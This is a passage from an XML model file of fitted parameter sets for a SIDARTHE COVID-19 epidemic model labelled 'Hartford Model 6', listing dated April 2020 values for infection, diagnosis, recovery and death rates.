<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.18927301919835171" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_20" name="Model5 - 4/22b">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_20">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-22T03:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.000000000018382" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572664" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.5107432267085818e-15" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.73755091463658595" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.14751018292731718" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.073755091463658592" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.036877545731829296" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.050000000014693465" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.050000000014693465" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.0014386995788430777" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.010000000005162017" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.029811395387703683" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.050000000000551062" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.050000000000551062" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.029999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.029811395387703683" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.19116177794585892" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.03998036243963226" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.0000000000183835" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.0000000000183835" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.079811395402397151" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.079811395402397151" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.06143869958455616" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.080000000000551061" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.23114214038549119" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.000000002013387" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="2.0644278560586732e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="2.0644278560586732e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="4.1288557121173464e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="1.0322139280293366e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.89638650033460687" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.15059507544605119" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.73755070820735813" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="2.1735056440056689e-18" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.13499139264671192" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.0644278560586732e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="4.1288557121173464e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="2.0644278560586732e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.0322139280293366e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.050000000014693465" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.050000000014693465" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0014386995788430777" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000551062" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000551062" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.03998036243963226" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.029811395387703683" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.029811395387703683" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.010000000005162017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.029999999999999999" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.19116177794585892" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_21" name="Model5 - 4/23">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_21">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-24T03:51:50Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000006801599" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663.9999999912" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="8.5940230849999992e-09" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.70059618466325324" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.14011923693265066" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.07005961846632533" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.035029809233162665" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.050000000063963025" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.050000000063963025" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.0013539088980391485" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.010000000000004063" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.025785050770753066" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.050000000000492796" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.050000000000492796" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.029999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.025785050770753066" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.1982886423739337" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.040751589611573616" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.000000009274183" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.000000009274183" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.075785050834716094" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.075785050834716094" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.061353908898536008" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.080000000000492788" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.23904023198550733" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.004268299274015" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="1.9609904221729529e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.9609904221729527e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="3.9219808443459059e-08" type="ModelValue" simulationType="assignment"/>
